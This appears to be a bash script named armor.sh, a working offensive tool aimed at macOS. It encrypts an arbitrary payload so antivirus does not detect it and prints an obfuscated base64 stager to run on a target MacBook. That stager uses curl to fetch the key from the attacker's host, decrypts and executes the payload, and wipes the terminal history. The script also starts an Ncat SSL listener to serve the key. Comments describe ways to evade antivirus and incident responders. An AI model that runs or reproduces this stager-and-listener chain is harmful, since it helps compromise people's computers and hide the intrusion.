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Create armor.sh
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Omar Santos
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258
python_ruby_and_bash/armor.sh
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258
python_ruby_and_bash/armor.sh
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#!/bin/bash
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# based on the work by @tokyoneon_
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# Armor relies on LibreSSL to encrypt the input file and create the SSL certificate.
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# If LibreSSL isn't found in your system, Armor will attempt to install it.
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# Variables for colorful terminal output.
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R="\033[1;31m"
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Y="\033[1;33m"
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G="\033[1;32m"
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N="\033[0;39m"
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clear
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# The script name, taken from the input file; first arg.
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sN="$(echo "$1" | sed 's/.*\///')"
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# Random 4-digit string appended to the filename to prevent clobbering
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# previous iterations of the same input file and to avoid enumation attempts
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# by anyone crawling the attackers server to locate the master key. To increase
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# the length of the random string, change "2" to "5" or "10".
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fnRand="$(openssl rand -hex 2)"
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# The script name and random string are combined to create the filename
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# for most of the generated files.
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inFile="$sN"_"$fnRand"
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# When generating self-signed SSL certificates, a Common Name (domain name)
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# is required. This value could've been static, but I decided to have
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# each certificate contain a unique Common Name. Actually, when the master
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# key is fetched from the attacker's server, the Common Name is ignored.
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# This is just a formality.
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cnRand="$(openssl rand -hex 4)"
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# A random string is inserted into the encoded stager to make the base64
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# string appear different every time. This is done to obfuscate the string
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# and (hopefully) make it less identifiable to antivirus software.
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junk="$(openssl rand -hex 12)"
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# The attacker's IP address is converted into a hexidecimal string. There's
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# no real reason for this, it's easily reverse engineered back an IPv4
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# address. Still, in the spirit of overkill obfuscation, this felt appropriate.
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aH="0x$(printf '%02X' $(echo ${2//./ }))"
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# The attacker's desired port number. This port number is used by the
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# target device to fetch the master key and decrypt the payload. Be careful
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# not to use your Metasploit or Netcat listening port here.
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aP="$3"
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# A variable created to identify the working directory. This variable is
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# used in several functions.
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dir="$(pwd -P)"
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# The below three functions are used to print messages in the script. They
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# use the previously defined color variables to print messages, instructions,
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# and errors.
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function msg () {
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echo -e "$G [+] $N $1"
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}
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function msg_instruct () {
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echo -e "$Y \n [!] $1\n $N"
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}
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function msg_fatal () {
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echo -e "$R \n [ERROR] $1\n $N"
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exit 0
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}
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# OS detection for below ascii_art function. Base64 "-D" for macOS, "-d" for
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# Debian/Ubuntu. Other operating systems are untested.
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function os_detect () {
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case "$(uname -s)" in
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Darwin)
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osDetect='-D'
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;;
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Linux)
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osDetect='-d'
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;;
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*)
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msg_fatal "OS detection failed. Comment out the os_detect and ascii_art functions to force continue."
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;;
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esac
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}
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os_detect
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# The "armor" and panther ascii art are encoded; easier than escaping
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# special characters. Comment out the ascii_art function to suppress the
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# logo. It's gimmicky, I know.
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function ascii_art () {
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echo -e "$R" "$(echo 'CgoKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLi4sY284b2Mub284ODg4Y2MsLi4KCSAg
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ICBvOG8uICAgICAgICAgICAgICAgIC4uLG84ODk2ODlvb284ODhvIjg4ODg4ODg4b29vYy4uCgkg
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IC44ODg4ICAgICAgICAgICAgICAgLm84ODg4Njg4OCIuODg4ODg4ODhvJz84ODg4ODg4ODg4ODlv
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b28uLi4uCgkgIGE4OFAgICAgICAgICAgICAuLmM2ODg4NjkiIi4uLCJvODg4ODg4ODg4by4/ODg4
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ODg4ODg4OCIiLm9vbzg4ODhvby4KCSAgMDg4UCAgICAgICAgIC4uYXRjODg4OSIiLixvbzhvLjg2
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ODg4ODg4ODg4byA4ODk4ODg4OSIsbzg4ODg4ODg4ODg4OC4KCSAgODg4dCAgLi4uY29vNjg4ODg5
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Iicub29vODhvODhiLic4Njk4ODk4ODg4OSA4Njg4ODg4J284ODg4ODk2OTg5Xjg4OG8KCSAgIDg4
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ODg4ODg4ODg4OCIuLm9vbzg4ODk2ODg4ODg4ICAgIjlvNjg4ODg4JyAiODg4OTg4IDg4ODg4Njg4
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ODgnbzg4ODg4CiAgICAgICAgICAgIiJHODg4OSIiJ29vbzg4ODg4ODg4ODg4ODg5ICAgLmQ4bzk4
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ODkiIicgICAiODY4OG8uIjg4ODg4OTg4Im84ODg4ODhvIC4KCQkgICAgbzg4ODgnIiIiIiIiIiIi
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JyAgICAgbzg2ODgiICAgICAgICAgIDg4ODY4LiA4ODg4ODguNjg5ODg4ODgibzhvLiAKCQkgICAg
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ODg4ODhvLiAgICAgICAgICAgICAgIjg4ODhvb28uICAgICAgICAnODg4OC4gODg4ODguODg5ODg4
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OG8iODg4by4uCgkgICAgICAgICAgICI4ODg4bCAnICAgICAgICAgICAgICAgIjg4ODg4OCcgICAg
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ICAgICAgJyIiOG8iODg4OC44ODY5ODg4b284ODg4byAKICAgICAuOy4gICAgICAuOzs7OzssLiAg
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ICAgLCcgICAgICAgLCwgICAgIC4sOywnICAgICAgOzs7OzssLiAgOi4iODg4OCAiODg4ODg4ODg4
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Xjg4bwogICAgIE9NMCAgICAgIHhXbDo6Y29LMC4gIC5XTSwgICAgIDtNVyAgICxLT2xjY3hYZCAg
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ICdNazo6Y2xrWGMgLi44ODg4LC4gIjg4ODg4ODg4ODg4LgogICAgLldYTS4gICAgIHhXICAgICAg
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SzAgIC5XTUsgICAgIEtNVyAgIE5rICAgICA7TTogICdNOiAgICAgbE0nOm84ODgubzhvLiAgIjg2
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Nm85ODg4bwogICAgbE4uWG8gICAgIHhXICAgICAgT0sgIC5XS1djICAgbFdLVyAgLldkICAgICAu
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TWwgICdNOiAgICAgO00sOjg4OC5vODg4OC4gICI4OC4iODkiLgogICAgMGsgZFggICAgIHhXICAg
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ICAgT0sgIC5Xb2RYLiAuTm9kVyAgLldkICAgICAuTWwgICdNOiAgICAgO00sIDg5ICA4ODg4ODgg
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ICAgIjg4IjouCiAgICdNOyAnTSwgICAgeFcgICAgICBLTyAgLldvLk5vIGRYIGRXICAuV2QgICAg
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IC5NbCAgJ006ICAgICBvTS4gICAgICc4ODg4bwogICBvTiAgIEt4ICAgIHhXLmNjY29LTy4gIC5X
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byBjV2xXOiBkVyAgLldkICAgICAuTWwgICdNYztjY2xrWGMgICAgICAgIjg4ODguLgogICBYZCAg
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IG9OLiAgIHhXIHhXYycuICAgIC5XbyAgS00wICBkVyAgLldkICAgICAuTWwgICdNOixXTycuICAg
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ICAgICAgIDg4ODg4OG8uCiAgO01jLi4uOk1jICAgeFcgIDBLLiAgICAgLldvICAsVycgIGRXICAu
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V2QgICAgIC5NbCAgJ006IGNXOiAgICAgICAgICAgICI4ODg4ODksCiAgT1hsbGxsbEtLICAgeFcg
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IC5LTyAgICAgLldvICAgJyAgIGRXICAuV2QgICAgIC5NbCAgJ006ICBvTicgICAgICAgLiA6IDou
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Ojo6Oi46IDouCiAuTW8gICAgIGNNLCAgeFcgICAuWGQgICAgLldvICAgICAgIGRXICAuV2QgICAg
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IC5NbCAgJ006ICAgZFguICAgY3JlYXRlZCBieSBAdG9reW9uZW9uXwogb1cuICAgICAuV2QgIHhX
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ICAgICdXOiAgIC5XbyAgICAgICBkVyAgIFhPICAgICA6TTsgICdNOiAgICAwTyAgIAogS08gICAg
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ICAgeE4gIHhXICAgICA6TiwgIC5XbyAgICAgICBkVyAgIC5PMHhvZE8wYyAgICdNOiAgICAuWGsg
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IAogCgoKCgoKCgoKCgoKCg==' | base64 "$osDetect")"$N""
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}
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ascii_art
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# The version of OpenSSL found in Debian/Kali isn't compatible with macOS' LibreSSL.
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# Payloads encrypted in Kali will not be decryptable by the target MacBook.
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# As a workaround, OpenSSL in Ubuntu was tested and is compatible with LibreSSL
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# in macOS. Alternatively, allow the armor script to attempt to install LibreSSL.
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# https://linuxg.net/how-to-install-libressl-2-1-6-on-linux-systems/
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# https://github.com/libressl-portable/portable
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function libressl_install () {
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if [[ ! -f /usr/bin/make ]]; then
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msg_fatal "make: command not found. Install with: sudo apt-get install build-essential"
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fi
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wget 'https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.8.2.tar.gz' &&\
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tar -xzvf libressl-2.8.2.tar.gz libressl-2.8.2/ &&\
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cd libressl-2.8.2/ &&\
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./configure &&\
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make &&\
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sudo make install &&\
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sudo ldconfig &&\
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if [[ "$(/usr/local/bin/openssl version -v | awk '{print $1}')" = 'LibreSSL' ]]; then
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msg "It appears LibreSSL was installed successfully."
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else
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msg_fatal "Unknown issue while installing LibreSSL."
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fi
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}
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# Verifies LibreSSL compatibility or tries to install it.
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function openssl_check () {
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if [[ $(/usr/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
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opensslPath='/usr/bin/openssl'
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elif [[ $(/usr/local/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
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opensslPath='/usr/local/bin/openssl'
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else
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msg_instruct "LibreSSL version detection failed. MacOS uses LibreSSL and will not be able to decrypt payloads made in Debian/Kali (e.g., OpenSSL 1.1.0h). Attempt to install LibreSSL? y/N"
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read libreInstall
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if [[ "$libreInstall" = 'y' ]]; then
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libressl_install
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exit 0
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else
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exit 0
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fi
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fi
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}
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# The master key used to encrypt the payload is generated.
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function mk_key () {
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"$opensslPath" rand -hex 512 > "$inFile".key &&\
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msg "Generated encryption key: "$dir"/"$inFile".key" ||\
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msg_fatal "Failed to create the master key."
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}
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# The payload is encrypted and encoded. Encrypted to evade antivirus, encoded
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# to make transporting it easier.
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function crypt_payload () {
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"$opensslPath" enc -aes-256-cbc -a -A -in "$1" -pass file:"$inFile".key -out "$inFile".enc &&\
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msg "Encrypted payload: "$dir"/"$inFile".enc" ||\
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msg_fatal "Failed to encrypt the payload. Check the file path and filename."
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}
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# The self-signed SSL certificate for Ncat is generated. Encrypting the
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# transmission of the master key is important. If DPI is taking place at
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# the time of the attack, it would be possible for an incident response
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# team to reconstruct the master key using the raw TCP data.
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function mk_ssl () {
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"$opensslPath" req -new -newkey rsa:4096 -x509 -sha256 -days 30 -nodes -subj '/CN='"$cnRand"'' \
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-out "$inFile".crt -keyout "$inFile"_ssl.key >/dev/null 2>&1 &&\
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msg "Generated SSL certificate: "$dir"/"$inFile".crt" ||\
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msg_fatal "Unknown error."
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msg "Generated SSL key: "$dir"/"$inFile"_ssl.key"
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}
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# The suggested stager command is printed. This can be embedded into an
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# AppleScript or used with a USB Rubber Ducky. The `history -c` command is
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# appened to the stager to prevent it from being saved to the target's
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# Terminal history. This, believe it or not, also helps with evading antivirus
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# software.
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function mk_stager () {
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stager=""$junk">/dev/null 2>&1; openssl enc -d -aes-256-cbc \
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-in <(printf '%s' '$(cat "$inFile".enc)' | base64 -D) \
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-pass file:<(curl -s --insecure https://"$aH":"$aP")"
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echo -e "bash -c \"\$(bash -c \"\$(printf '%s' '$(printf '%s' "$stager" | base64)' | base64 -D)\")\";history -c" > "$dir"/"$inFile"_stager.txt &&\
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msg "Saved stager: "$dir"/"$inFile"_stager.txt"
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msg_instruct "Execute the below stager in the target MacBook:"
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cat "$dir"/"$inFile"_stager.txt
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}
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# The suggested Ncat listener command is printed. Ncat works well because
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# the listener automatically terminates after just one established connection.
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# If the stager is reverse engineered, it would be possible to discover
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# the attacker's IP address and the location of the master key, but at that
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# point, the key will no longer be accessible to the internet (or local network).
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function ncat_listener () {
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msg_instruct "Start Ncat listener with:"
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echo -e "$1"
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}
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# Attempts to start the Ncat listener for you.
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function start_ncat () {
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ncatListener="ncat -v --ssl --ssl-cert $dir/$inFile.crt \
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--ssl-key $dir/$inFile\_ssl.key \
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-l -p $aP < $dir/$inFile.key"
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if [[ ! -f /usr/local/bin/ncat ]] && [[ ! -f /usr/bin/ncat ]]; then
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msg_fatal "Ncat not found. Install Nmap: https://nmap.org/book/install.html"
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fi
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msg_instruct "Start the Ncat listener now? y/N "
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read answer
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if [[ "$answer" = 'y' ]]; then
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clear
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msg "Ncat active for stager: "$inFile"..."
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eval "$ncatListener"
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else
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ncat_listener "$ncatListener"
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fi
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}
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# Some minor input validation. If the input file, attacker's IP address,
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# and port number are not included, the script exits.
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if [[ ! $3 ]]; then
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msg_fatal "Missing args. Use the below command:"$N"\n\n$ ./armor.sh /path/to/payload 192.168.1.2 8080"
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else
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# Checks to make sure the input file actually exists.
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if [[ ! -f "$1" ]]; then
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msg_fatal "Payload not found. Check file path and filename."
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fi
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fi
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# Executes all of the above functions in order.
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openssl_check
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mk_key
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crypt_payload "$1"
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mk_ssl
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mk_stager
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start_ncat
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